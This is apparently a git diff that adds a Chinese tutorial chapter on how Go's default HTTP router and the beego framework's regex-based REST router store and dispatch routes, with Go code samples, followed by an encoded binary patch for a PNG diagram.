+上面的例子调用了http默认的DefaultServeMux来添加路由,需要提供两个参数,第一个参数是希望用户访问此资源的URL路径(保存在r.URL.Path),第二参数是即将要执行的函数,以提供用户访问的资源。路由的思路主要集中在两点: + +- 添加路由信息 +- 根据用户请求转发到要执行的函数 + +Go默认的路由添加是通过函数`http.Handle`和`http.HandleFunc`等来添加,底层都是调用了`DefaultServeMux.Handle(pattern string, handler Handler)`,这个函数会把路由信息存储在一个map信息中`map[string]muxEntry`,这就解决了上面说的第一点。 + +Go监听端口,然后接收到tcp连接会扔给Handler来处理,上面的例子默认nil即为`http.DefaultServeMux`,通过`DefaultServeMux.ServeHTTP`函数来进行调度,遍历之前存储的map路由信息,和用户访问的URL进行匹配,以查询对应注册的处理函数,这样就实现了上面所说的第二点。 +```Go + +for k, v := range mux.m { + if !pathMatch(k, path) { + continue + } + if h == nil || len(k) > n { + n = len(k) + h = v.h + } +} +``` + +## beego框架路由实现 +目前几乎所有的Web应用路由实现都是基于http默认的路由器,但是Go自带的路由器有几个限制: + +- 不支持参数设定,例如/user/:uid 这种泛类型匹配 +- 无法很好的支持REST模式,无法限制访问的方法,例如上面的例子中,用户访问/foo,可以用GET、POST、DELETE、HEAD等方式访问 +- 一般网站的路由规则太多了,编写繁琐。我前面自己开发了一个API应用,路由规则有三十几条,这种路由多了之后其实可以进一步简化,通过struct的方法进行一种简化 + +beego框架的路由器基于上面的几点限制考虑设计了一种REST方式的路由实现,路由设计也是基于上面Go默认设计的两点来考虑:存储路由和转发路由 + +### 存储路由 +针对前面所说的限制点,我们首先要解决参数支持就需要用到正则,第二和第三点我们通过一种变通的方法来解决,REST的方法对应到struct的方法中去,然后路由到struct而不是函数,这样在转发路由的时候就可以根据method来执行不同的方法。 + +根据上面的思路,我们设计了两个数据类型controllerInfo(保存路径和对应的struct,这里是一个reflect.Type类型)和ControllerRegistor(routers是一个slice用来保存用户添加的路由信息,以及beego框架的应用信息) +```Go + +type controllerInfo struct { + regex *regexp.Regexp + params map[int]string + controllerType reflect.Type +} + +type ControllerRegistor struct { + routers []*controllerInfo + Application *App +} + +``` +ControllerRegistor对外的接口函数有 +```Go + +func (p *ControllerRegistor) Add(pattern string, c ControllerInterface) +``` +详细的实现如下所示: +```Go + +func (p *ControllerRegistor) Add(pattern string, c ControllerInterface) { + parts := strings.Split(pattern, "/") + + j := 0 + params := make(map[int]string) + for i, part := range parts { + if strings.HasPrefix(part, ":") { + expr := "([^/]+)" + + //a user may choose to override the defult expression + // similar to expressjs: ‘/user/:id([0-9]+)’ + + if index := strings.Index(part, "("); index != -1 { + expr = part[index:] + part = part[:index] + } + params[j] = part + parts[i] = expr + j++ + } + } + + //recreate the url pattern, with parameters replaced + //by regular expressions. then compile the regex + + pattern = strings.Join(parts, "/") + regex, regexErr := regexp.Compile(pattern) + if regexErr != nil { + + //TODO add error handling here to avoid panic + panic(regexErr) + return + } + + //now create the Route + t := reflect.Indirect(reflect.ValueOf(c)).Type() + route := &controllerInfo{} + route.regex = regex + route.params = params + route.controllerType = t + + p.routers = append(p.routers, route) + +} +``` +### 静态路由实现 +上面我们实现的动态路由的实现,Go的http包默认支持静态文件处理FileServer,由于我们实现了自定义的路由器,那么静态文件也需要自己设定,beego的静态文件夹路径保存在全局变量StaticDir中,StaticDir是一个map类型,实现如下: +```Go + +func (app *App) SetStaticPath(url string, path string) *App { + StaticDir[url] = path + return app +} +``` +应用中设置静态路径可以使用如下方式实现: +```Go + +beego.SetStaticPath("/img","/static/img") + +``` +### 转发路由 +转发路由是基于ControllerRegistor里的路由信息来进行转发的,详细的实现如下代码所示: +```Go + +// AutoRoute +func (p *ControllerRegistor) ServeHTTP(w http.ResponseWriter, r *http.Request) { + defer func() { + if err := recover(); err != nil { + if !RecoverPanic { + // go back to panic + panic(err) + } else { + Critical("Handler crashed with error", err) + for i := 1; ; i += 1 { + _, file, line, ok := runtime.Caller(i) + if !ok { + break + } + Critical(file, line) + } + } + } + }() + var started bool + for prefix, staticDir := range StaticDir { + if strings.HasPrefix(r.URL.Path, prefix) { + file := staticDir + r.URL.Path[len(prefix):] + http.ServeFile(w, r, file) + started = true + return + } + } + requestPath := r.URL.Path + + //find a matching Route + for _, route := range p.routers { + + //check if Route pattern matches url + if !route.regex.MatchString(requestPath) { + continue + } + + //get submatches (params) + matches := route.regex.FindStringSubmatch(requestPath) + + //double check that the Route matches the URL pattern. + if len(matches[0]) != len(requestPath) { + continue + } + + params := make(map[string]string) + if len(route.params) > 0 { + //add url parameters to the query param map + values := r.URL.Query() + for i, match := range matches[1:] { + values.Add(route.params[i], match) + params[route.params[i]] = match + } + + //reassemble query params and add to RawQuery + r.URL.RawQuery = url.Values(values).Encode() + "&" + r.URL.RawQuery + //r.URL.RawQuery = url.Values(values).Encode() + } + //Invoke the request handler + vc := reflect.New(route.controllerType) + init := vc.MethodByName("Init") + in := make([]reflect.Value, 2) + ct := &Context{ResponseWriter: w, Request: r, Params: params} + in[0] = reflect.ValueOf(ct) + in[1] = reflect.ValueOf(route.controllerType.Name()) + init.Call(in) + in = make([]reflect.Value, 0) + method := vc.MethodByName("Prepare") + method.Call(in) + if r.Method == "GET" { + method = vc.MethodByName("Get") + method.Call(in) + } else if r.Method == "POST" { + method = vc.MethodByName("Post") + method.Call(in) + } else if r.Method == "HEAD" { + method = vc.MethodByName("Head") + method.Call(in) + } else if r.Method == "DELETE" { + method = vc.MethodByName("Delete") + method.Call(in) + } else if r.Method == "PUT" { + method = vc.MethodByName("Put") + method.Call(in) + } else if r.Method == "PATCH" { + method = vc.MethodByName("Patch") + method.Call(in) + } else if r.Method == "OPTIONS" { + method = vc.MethodByName("Options") + method.Call(in) + } + if AutoRender { + method = vc.MethodByName("Render") + method.Call(in) + } + method = vc.MethodByName("Finish") + method.Call(in) + started = true + break + } + + //if no matches to url, throw a not found exception + if started == false { + http.NotFound(w, r) + } +} +``` +### 使用入门 +基于这样的路由设计之后就可以解决前面所说的三个限制点,使用的方式如下所示: + +基本的使用注册路由: +```Go + +beego.BeeApp.RegisterController("/", &controllers.MainController{}) +``` +参数注册: +```Go + +beego.BeeApp.RegisterController("/:param", &controllers.UserController{}) +``` +正则匹配: +```Go + +beego.BeeApp.RegisterController("/users/:uid([0-9]+)", &controllers.UserController{}) +``` +## links + * [目录]() + * 上一章: [项目规划](<13.1.md>) + * 下一节: [controller设计](<13.3.md>) diff --git a/golang_frame/frame阅读/images/13.1.flow.png b/golang_frame/frame阅读/images/13.1.flow.png new file mode 100644 index 0000000000000000000000000000000000000000..b47e5bfc57c87358f6db72b123f9285b737156cd GIT binary patch literal 17361 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 